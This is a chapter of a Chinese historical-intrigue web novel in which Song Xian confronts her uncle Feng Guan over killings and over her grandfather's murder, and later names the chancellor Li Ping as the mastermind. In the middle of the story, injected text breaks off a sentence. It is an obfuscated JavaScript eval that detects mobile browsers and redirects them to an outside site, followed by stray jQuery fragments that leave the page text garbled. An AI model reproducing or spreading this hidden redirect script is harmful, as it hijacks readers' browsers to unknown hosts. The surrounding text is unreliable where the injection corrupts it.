慎如堂内灯火通明,南肃声色俱厉,高声诉说冯观在邓州毁田害人之事,他越说越愤,只道要罢免冯观总计之职,押送衙门,按律治罪。
众人大惊,未及南肃话音落地,议论声已然四起。
与冯观交好之人起身辩解,“冯总计为人和善,怎会做出如此草菅人命之事,南总计,空口无凭,可有物证?”
“那是自然。”南肃说着把市舶司的物品目录、经手之人口述、药物分配等物证一一示众,施施然道:“至于人证,此时已在外间候着,诸位一问便之。”
姜早儿和西白入内详述。
众人你来我往吵了半天,人证物证俱在,终是南肃占了上风。
厅堂内一时静下来。
众人这才发觉,当事人冯观自始至终一言未发。
坐在上首的宋纤也没未开口。
众人面面相觑。
“冯观,你可认?”南肃打破沉默。
冯观神情自若,环视众人,缓缓起身,轻声道:“我认。”
冯观答得轻巧,仿若只是答应与人去饮一杯般随意。
整个厅堂倏地静下来,南肃一口气卡在嗓子眼,噎得不轻。
“既如此,送冯总计去大理寺。”宋纤淡淡道。
冯观看着宋纤道:“我尚有几句话想与东主说。”
南翼面色不渝,张口欲言,冯观他凭什么和东主单独说话,耳边却听宋纤道:“好!”
南翼起身,第一个踏出慎如堂。
众人接连散去,冯观看着慎如堂的匾额笑道:“好名字,好寓意,慎终如始,则无败事。”
这冯观似是对南家牌匾格外留心,或因那字是外祖父亲手所书?
宋纤目光随之移去,淡然道:“外祖父教诲,行百里者半九十,未至终点,不可有一刻松懈。”
“表舅向来听外祖父的话,怎会忘了外祖父的教导,这般沉不住气?”宋纤道。
那么大张旗鼓地杀人,不是冯观一惯的作风。
“是我做得不好,终归是让他老人家失望了。”冯观真切道,“我没有东主运气好。”
谁能想到,萧望之那么难杀,又当真对宋纤一往情深,拼了命也要护她。
运气好?宋纤心底冷笑,短短数年,她失去了母亲、外祖父外祖母,至亲离世,而其余亲朋都在想着如何让她死!
比如南维,比如此刻站在她面前的冯观。
这算运气好话,这样的运气,冯观他要不要?
宋纤没有问出声,因她深知,人只会看自己想看的。
冯观只看到外祖父非要把家业留给她,却一丁点不考虑在南家任劳任怨的他。
她实在是运气太好。
而他不惜拿出自己藏了多年的底牌,却未能杀掉她,实在是运气不好。
振了振衣袖,冯观满眼皆是对命运不公的愤然,阴测测道:“东主,白云山庄的事可有眉目?”
宋纤无视冯观言语中的挑衅,平静道:“那幕后之人惯会伪装,派出的人都死了,死无对证,一时大理寺也没有头绪。”
宋纤说完顿了一下,浅笑道:“不过表舅方才说我运气好,想来事情很快便有转机,罪魁祸首即便藏得再深也会露出马脚,然后……被千刀万剐。”
冯观的面容一点点冷下来,宋纤唇边的笑容愈加从容,“表舅,你我在这逞口舌之利,实在无趣,若您要说的只是这些,就此打住吧。”
语气隐有不耐。
冯观脸色褪下和善的面具,极其阴冷地望着宋纤,好似一条潜伏多年的毒蛇。
“表舅不是有话给我说,烦请快些,毕竟那些失了地,甚至失了命的邓州百姓,都等着呢。”宋纤道。
冯观冷哼一声,道,“单凭邓州之事,就想我死?”
“表舅经营多年,人脉广,钱财多,做脏事更是得心应手,有的是我想不到的阴暗手段。”宋纤说着忽然盯着冯观的眼睛,“不过表舅有一件事说对了,只邓州这一件事,太便宜表舅了!”
毒蛇遇到了凶兽。
冯观不自觉地目光一闪,回过神来,猛然挺直脊背,森然道:“当年舅父之事,你疑是我,你可知大理寺来查时,舅母为何咬定是家仆所为,与外人无关,不愿继续查下去?”
宋纤闻言一怔,这的确是她心中多年疑问。
她初时以为外祖母是心怜冯观,要保他性命,这才不愿大理寺的查探。
为此,她还在心中埋怨外祖母,与外祖母都生疏了几分。
她不止一次向外祖母问起,回回皆是一句:“再等一等。”
外祖母每每提及外祖父便哀恸难抑,她后来便不再问了。
既是外祖父留给她的讯息,她自会亲手查明,亲讨这笔债。
如今被冯观提及,宋纤心内翻江倒海,面上仍是一片平静,反问道:“你可知我为何疑你?”
冯观想了很久,也未明白宋纤为何那么笃定是他害了舅父,舅父之死,看起来蹊跷,不过他藏得好,即便当真查下去,也不会与他有牵连,舅母都未对他生疑。
宋纤到了之后,舅母才和他生分的。
这三年间,舅母更是处处提防他,否则南家绝不是眼下这般模样。
宋纤能否活着度过在外的三年,都未可知,更别说坐上东主的位子。
宋纤当真是好福气,时时有人护着,不像他。
“为何笃定是我?”冯观问道。
“外祖母为何不让大理寺查?”宋纤反问。
冯观大笑出声,“东主当真不是小孩子了,怕我不说,要将我一军?”
宋纤浅笑,“你我二人,俱是心中有疑,何不坦诚一些。”
“是外祖父告诉我,你是杀他的凶手。”宋纤直接道。
“他如何告诉你?”冯观少见的急切。
宋纤冷哼一声,并不想让冯观知道前因后果,“你只需知道,外祖父知道是你害了他。”
冯观面色一震,眼中有不甘,亦有一丝惧意,虽则那个人早已逝去。
“我.....不......”冯观的声音越来越小,终是没了声音。
冯观对南山的崇敬爱戴也并非全是作伪,如若那样,不可能瞒过南山那么久。
宋纤看着神色大乱的冯观,眸色更冷,他该知道,他的所作所为,外祖父全然知晓。
宋纤心中暗想,这一切,才只是开了个头罢了,“外祖父不愿南家再与你有任何干系。邓州之事,仅仅是开始。”
让冯观失去总计的位子,只是第一步。
冯观平静的面容裂开,高声道,“你意欲何为?舅母在世时都未追究,你又能如何?舅母缄口不语,你以为是她不想么?”
冯观说完哈哈大笑。
“父亲不在,我依旧能把脏东西从南家清出去。”宋纤冷笑,当年之事,她已然心中有数。
“南家会毁在你手里。”冯观看着毫无惧色的宋纤道。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17435836|194332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“邓州之事,是我不够谨慎,我可给你一些甜头,但你最好见好就收,否则对上那人,没了端坐在政事堂的宋景撑腰,南家只是一块肥肉罢了。”冯观厉声道。
宋纤挑眉,冯观身后果然有人,她开口道:“南家之事,不劳你费心。”
“作为长辈,我再提醒你一句,莫要一意孤行。”冯观道。
“那表舅可要睁大眼睛,看仔细了,看南家如何正本清源。”宋纤声音极轻,“我不怕你背后之人,眼下,该怕的是你啊,你已亮了底牌,对我,没用。”
冯观怔忪片刻,宋纤已然离去。
乌云遮月,宋纤抬手按了按额角,有些乏了。
不自觉地往书房走去,萧明身上的伤是否好了些?
宋纤甫一进门,便见靠着软枕歇息的萧明登时睁开眼,嘴角上扬,对她伸出手。
萧明的手骨节分明,修韧有力,只是上面伤痕累累,宋纤轻柔握住,顺着他的力道,在塌边坐下。
安神的绿绮香袭来,忍不住打了一个呵欠。
萧明往里挪了一下,揽住宋纤的后背,轻轻把人往里带了带,“你一天一夜未曾合眼,在这里小睡片刻,然后再用些吃食?”
宋纤心里想着事,并无睡意,不过萧明的声音如水萦绕耳畔,困意瞬间铺天盖地涌上来,“我怕碰到你的伤。”
“无妨。”萧明轻巧一带,宋纤便安稳地躺进温凉柔软的云被里。
宋纤闭上眼,把头往被子埋了埋,声音有些闷:“我这些年是有些怨外祖母的,外祖父的死因不明,她却压着不让任何让人细查。”
“嗯。”萧明轻轻抚着宋纤的后脑勺上的乌发,示意自己在听。
“白云山庄之事,还有今天冯观的话,我更深知外祖母当年的苦衷,外祖父骤然离世,最悲痛的便是外祖母,她还要顶着诸多非议,支撑南家,何其艰难。”宋纤顿了下道:“我今日才知,那幕后之人为何要选一个南家人杀害外祖父。”
“为何?”似是被宋纤的情绪侵染,萧明的嗓音低下来。
“那人敢当街杀害外祖父,就是要让南家明白,他们敢杀一人,就敢再杀旁人。这既是威胁,也是震慑。外祖母猜出了幕后之人的身份,当时父亲又是自身难保,为了保全南家上下,外祖母只能忍。而那人挑一个南家人出面,将事情伪作家族内部恩怨,无非是给外界一个……”
宋纤鼻尖泛红,极轻地吸了下鼻子。
萧明心一紧,把宋纤的头揽在胸前:“那幕后之人是谁?是谁与冯观勾结,害了外祖父性命?”
“如今的中书令,皇帝心腹,政事堂主笔李凭。”宋纤使劲眨了眨眼睛,把泪意压回去。
“李凭当年是尚书令,与父亲的中书令品级相同,可太宗之后,尚书令便不再实授,仅为虚衔。既不预政事堂议事,上朝排班,位次也在门下侍中之后。但此人极受皇帝信任,手中权势极大。”
当年,外祖父去世后,南家产业丢了大半,那大半产业都进了李宏手里,李宏正是李凭的侄子。
“李凭,我记下了。”萧明沉声道。
宋纤闭着眼,呢喃道,“你记他作甚?”
萧明却只道,“李宏收了南家产业,后来大半归了睿王爷名下,睿王爷与当今圣上乃一母同袍的兄弟。”
“长公主长子自幼养于宫中,十岁时,溺毙长春湖。”宋纤抬眸望向萧明,心底雪亮,缓缓道:“当时湖边一同玩耍的便是睿王世子。”